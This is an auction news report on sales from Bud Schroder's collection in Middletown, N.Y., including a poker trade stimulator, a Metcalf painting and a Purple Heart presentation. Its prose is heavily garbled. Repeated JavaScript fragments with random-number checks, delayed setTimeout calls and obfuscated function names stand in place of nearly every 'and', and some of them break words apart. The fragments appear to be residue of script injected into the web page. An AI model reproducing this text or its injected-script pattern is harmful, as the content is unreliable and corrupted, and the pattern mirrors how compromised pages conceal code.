MIDDLETOWN, N.Y. — EstateOfMind Appraisers & Auctioneers conducted an auction May 11, offering more than 220 items from Bud Schroder’s private collection.

Highlights included a Mills Novelty Company “The Little Duke” 1898 poker trade stimulator that handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andily outperformed its $8/10,000 estimate. One of 12 known, the fancy cast iron machine attracted bidders from coast to coast. The auction house’s associate director Jo Martin shuffled out bid numbers andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and cell phones to staff prior to the opening bid of $9,500. Eight phone bidders upped the ante until the hammer fell at $24,295, going to a phone bidder in New Jersey.

Also highlighted in the sale was an estate fresh oil on wood panel by Willard Leroy Metcalf titled “The Rocks of Nantucket” painted en plein air andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and dated July 1875. The small 9-by-11-inch painting was considered “a little gem” by auctioneer Darrell Dirr. An early work by the artist andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and prior to his studies with Claude Monet, the painting was estimated at $3/5,000, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and opened at its high estimate with a left bid, but seven phone bidders aggressively chased the painting to $21,470. Dirr said after the sale, “After the painting is cleaned andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and reframed, they’ll be six regretful bidders.”

Rounding out the auction was an 1870 zinc pocket watch trade sign for $1,800, a Chinese carved marble Quan-Yin also for $1,800 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a Philip Semmer bronze parrot lamp, circa 1910, that brought $1,400. Also sold were two Roswell S. Hill oils of Providence, R.I., circa 1910, $1,400, an Italian carved inlaid cassone at $1,700 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a Japanese moon astronaut tin litho wind-up toy, circa 1964, for $1,700.

All prices reported include a 13 percent buyer’s premium.

A special event at the auction was when Purple Heart Hall Of Honor executive director Andy Komonchak presented Emily Schroder andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and each of the Schroder grandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andchildren with a commemorative bronze Purple Heart medallion. Donation tables at the auction collected more than $700 for the award in memory of Bud Schroder andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the Museum of Jewish Heritage, as a living memorial to the Holocaust in memory of Michael Klotz.

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